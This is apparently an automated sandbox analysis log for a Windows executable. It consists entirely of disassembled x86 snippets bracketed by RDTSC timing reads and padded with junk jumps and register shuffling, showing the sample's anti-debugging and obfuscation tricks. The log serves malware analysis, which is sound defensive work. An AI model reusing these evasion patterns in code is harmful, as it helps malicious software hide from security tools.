Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C044A second address: 75C04E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7B20B24F84h 0x00000009 or esi, 612C1358h 0x0000000f jmp 00007F7B20B24F7Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F7B20B24F88h 0x0000001b sbb ax, 1DB8h 0x00000020 jmp 00007F7B20B24F7Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 je 00007F7B8EE9417Dh 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F7B20B24F84h 0x00000036 or ax, D818h 0x0000003b jmp 00007F7B20B24F7Bh 0x00000040 popfd 0x00000041 mov bx, ax 0x00000044 popad 0x00000045 sub eax, eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F7B20B24F7Eh 0x0000004e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C04E4 second address: 75C0578 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E58Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi], edi 0x0000000b pushad 0x0000000c call 00007F7B2139E594h 0x00000011 mov edi, esi 0x00000013 pop ecx 0x00000014 popad 0x00000015 mov dword ptr [esi+04h], eax 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F7B2139E596h 0x0000001f add si, 2738h 0x00000024 jmp 00007F7B2139E58Bh 0x00000029 popfd 0x0000002a push ecx 0x0000002b pushfd 0x0000002c jmp 00007F7B2139E58Fh 0x00000031 jmp 00007F7B2139E593h 0x00000036 popfd 0x00000037 pop esi 0x00000038 popad 0x00000039 mov dword ptr [esi+08h], eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F7B2139E592h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0578 second address: 75C05DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+0Ch], eax 0x0000000c pushad 0x0000000d mov dh, al 0x0000000f pushad 0x00000010 jmp 00007F7B20B24F87h 0x00000015 mov ecx, 4E6ABF0Fh 0x0000001a popad 0x0000001b popad 0x0000001c mov eax, dword ptr [ebx+4Ch] 0x0000001f pushad 0x00000020 mov ecx, 76418107h 0x00000025 popad 0x00000026 mov dword ptr [esi+10h], eax 0x00000029 jmp 00007F7B20B24F89h 0x0000002e mov eax, dword ptr [ebx+50h] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C05DB second address: 75C05DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C05DF second address: 75C05F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C05F2 second address: 75C05F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C05F7 second address: 75C0647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F7B20B24F85h 0x0000000a xor si, 54B6h 0x0000000f jmp 00007F7B20B24F81h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [esi+14h], eax 0x0000001b jmp 00007F7B20B24F7Eh 0x00000020 mov eax, dword ptr [ebx+54h] 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 mov ecx, 3AB21A33h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0647 second address: 75C06CF instructions: 0x00000000 rdtsc 0x00000002 mov ch, 26h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7B2139E595h 0x0000000b popad 0x0000000c mov dword ptr [esi+18h], eax 0x0000000f pushad 0x00000010 call 00007F7B2139E58Ch 0x00000015 mov dl, al 0x00000017 pop edx 0x00000018 mov esi, 3B614203h 0x0000001d popad 0x0000001e mov eax, dword ptr [ebx+58h] 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F7B2139E58Bh 0x00000028 and ecx, 35356CAEh 0x0000002e jmp 00007F7B2139E599h 0x00000033 popfd 0x00000034 popad 0x00000035 mov dword ptr [esi+1Ch], eax 0x00000038 jmp 00007F7B2139E58Eh 0x0000003d mov eax, dword ptr [ebx+5Ch] 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F7B2139E58Ah 0x00000049 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C06CF second address: 75C06DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C06DE second address: 75C06E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C06E4 second address: 75C070C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+20h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7B20B24F89h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C070C second address: 75C0710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0710 second address: 75C0716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0716 second address: 75C0742 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E58Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+60h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7B2139E597h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0742 second address: 75C0773 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 push eax 0x00000007 pop edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+24h], eax 0x0000000e pushad 0x0000000f mov esi, 2F7CF3AFh 0x00000014 mov edi, ecx 0x00000016 popad 0x00000017 mov eax, dword ptr [ebx+64h] 0x0000001a jmp 00007F7B20B24F7Eh 0x0000001f mov dword ptr [esi+28h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0773 second address: 75C0777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0777 second address: 75C077D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C077D second address: 75C0783 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0783 second address: 75C07C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+68h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F7B20B24F7Fh 0x00000014 add si, 5A4Eh 0x00000019 jmp 00007F7B20B24F89h 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C07C2 second address: 75C07C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C07C7 second address: 75C0801 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, F1h 0x00000005 push ecx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esi+2Ch], eax 0x0000000d jmp 00007F7B20B24F80h 0x00000012 mov ax, word ptr [ebx+6Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F7B20B24F87h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0801 second address: 75C087E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E599h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [esi+30h], ax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F7B2139E58Ah 0x00000015 and si, 56B8h 0x0000001a jmp 00007F7B2139E58Bh 0x0000001f popfd 0x00000020 mov di, cx 0x00000023 popad 0x00000024 pushfd 0x00000025 jmp 00007F7B2139E594h 0x0000002a and eax, 41009118h 0x00000030 jmp 00007F7B2139E58Bh 0x00000035 popfd 0x00000036 popad 0x00000037 mov ax, word ptr [ebx+00000088h] 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 mov edx, 685B7406h 0x00000046 mov bl, CAh 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C087E second address: 75C0884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0884 second address: 75C0888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0888 second address: 75C088C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C088C second address: 75C089E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [esi+32h], ax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C089E second address: 75C08A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C08A2 second address: 75C08A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C08A6 second address: 75C08AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C08AC second address: 75C08BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7B2139E58Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C08BE second address: 75C08EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+0000008Ch] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7B20B24F85h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C09EC second address: 75C0A5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E596h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000001h 0x0000000b jmp 00007F7B2139E590h 0x00000010 nop 0x00000011 jmp 00007F7B2139E590h 0x00000016 push eax 0x00000017 pushad 0x00000018 push edi 0x00000019 pushad 0x0000001a popad 0x0000001b pop eax 0x0000001c push edx 0x0000001d push ecx 0x0000001e pop edx 0x0000001f pop esi 0x00000020 popad 0x00000021 nop 0x00000022 pushad 0x00000023 jmp 00007F7B2139E597h 0x00000028 movzx esi, di 0x0000002b popad 0x0000002c lea eax, dword ptr [ebp-10h] 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push ecx 0x00000033 pop ebx 0x00000034 pushad 0x00000035 popad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0A5C second address: 75C0A62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0A62 second address: 75C0A99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E591h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F7B2139E58Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7B2139E58Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0ACE second address: 75C0AEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edi, si 0x00000011 push ecx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0AEF second address: 75C0B7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7B2139E591h 0x00000009 jmp 00007F7B2139E58Bh 0x0000000e popfd 0x0000000f mov di, si 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 test edi, edi 0x00000017 jmp 00007F7B2139E592h 0x0000001c js 00007F7B8F70D11Fh 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F7B2139E58Eh 0x00000029 sbb cx, ED68h 0x0000002e jmp 00007F7B2139E58Bh 0x00000033 popfd 0x00000034 push eax 0x00000035 push edx 0x00000036 pushfd 0x00000037 jmp 00007F7B2139E596h 0x0000003c or eax, 62023FC8h 0x00000042 jmp 00007F7B2139E58Bh 0x00000047 popfd 0x00000048 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0B7C second address: 75C0BB9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7B20B24F88h 0x00000008 add ax, 4228h 0x0000000d jmp 00007F7B20B24F7Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov eax, dword ptr [ebp-0Ch] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ax, di 0x0000001f mov dx, B722h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0BB9 second address: 75C0BCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7B2139E58Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0BCC second address: 75C0BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0BD0 second address: 75C0BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7B2139E597h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0BF6 second address: 75C0C13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0C13 second address: 75C0CE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, FB92h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lea eax, dword ptr [ebx+78h] 0x0000000d jmp 00007F7B2139E594h 0x00000012 push 00000001h 0x00000014 jmp 00007F7B2139E590h 0x00000019 nop 0x0000001a pushad 0x0000001b call 00007F7B2139E58Eh 0x00000020 movzx eax, bx 0x00000023 pop edi 0x00000024 jmp 00007F7B2139E58Ch 0x00000029 popad 0x0000002a push eax 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F7B2139E591h 0x00000032 sbb eax, 2FEA9126h 0x00000038 jmp 00007F7B2139E591h 0x0000003d popfd 0x0000003e pushfd 0x0000003f jmp 00007F7B2139E590h 0x00000044 adc cl, FFFFFFC8h 0x00000047 jmp 00007F7B2139E58Bh 0x0000004c popfd 0x0000004d popad 0x0000004e nop 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 pushfd 0x00000055 jmp 00007F7B2139E591h 0x0000005a sub cl, FFFFFFE6h 0x0000005d jmp 00007F7B2139E591h 0x00000062 popfd 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0CE2 second address: 75C0D07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-08h] 0x0000000c jmp 00007F7B20B24F82h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0D07 second address: 75C0D24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E599h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0D24 second address: 75C0D77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 pushfd 0x00000006 jmp 00007F7B20B24F83h 0x0000000b sub cx, A9DEh 0x00000010 jmp 00007F7B20B24F89h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F7B20B24F83h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0D77 second address: 75C0D7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0D7B second address: 75C0D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0D81 second address: 75C0D90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7B2139E58Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0D90 second address: 75C0D94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0D94 second address: 75C0DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0DA3 second address: 75C0DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0DA7 second address: 75C0DB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E58Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0DB5 second address: 75C0DBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0DBA second address: 75C0DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0DD2 second address: 75C0E18 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7B20B24F80h 0x00000008 jmp 00007F7B20B24F85h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov bx, cx 0x00000013 popad 0x00000014 mov edi, eax 0x00000016 jmp 00007F7B20B24F7Ah 0x0000001b test edi, edi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov di, 9440h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0E18 second address: 75C0E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0E1D second address: 75C0E23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0E23 second address: 75C0E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0E27 second address: 75C0E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F7B8EE93800h 0x0000000e jmp 00007F7B20B24F7Ah 0x00000013 mov eax, dword ptr [ebp-04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F7B20B24F87h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0E5B second address: 75C0E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0E61 second address: 75C0F23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+08h], eax 0x0000000b pushad 0x0000000c jmp 00007F7B20B24F7Dh 0x00000011 pushfd 0x00000012 jmp 00007F7B20B24F80h 0x00000017 sbb ah, 00000048h 0x0000001a jmp 00007F7B20B24F7Bh 0x0000001f popfd 0x00000020 popad 0x00000021 lea eax, dword ptr [ebx+70h] 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F7B20B24F84h 0x0000002b add si, D1A8h 0x00000030 jmp 00007F7B20B24F7Bh 0x00000035 popfd 0x00000036 mov bx, cx 0x00000039 popad 0x0000003a push 00000001h 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F7B20B24F80h 0x00000043 add ch, 00000008h 0x00000046 jmp 00007F7B20B24F7Bh 0x0000004b popfd 0x0000004c mov dx, cx 0x0000004f popad 0x00000050 nop 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 pushfd 0x00000055 jmp 00007F7B20B24F87h 0x0000005a jmp 00007F7B20B24F83h 0x0000005f popfd 0x00000060 pushad 0x00000061 popad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0F23 second address: 75C0F6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7B2139E590h 0x00000009 xor al, FFFFFFF8h 0x0000000c jmp 00007F7B2139E58Bh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 pushad 0x00000017 mov eax, edi 0x00000019 movsx edi, cx 0x0000001c popad 0x0000001d nop 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F7B2139E594h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0F6A second address: 75C0F79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0F79 second address: 75C0FAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E599h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-18h] 0x0000000c jmp 00007F7B2139E58Eh 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0FAE second address: 75C0FCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0FCB second address: 75C0FD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0FD0 second address: 75C0FF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, F390h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F7B20B24F86h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
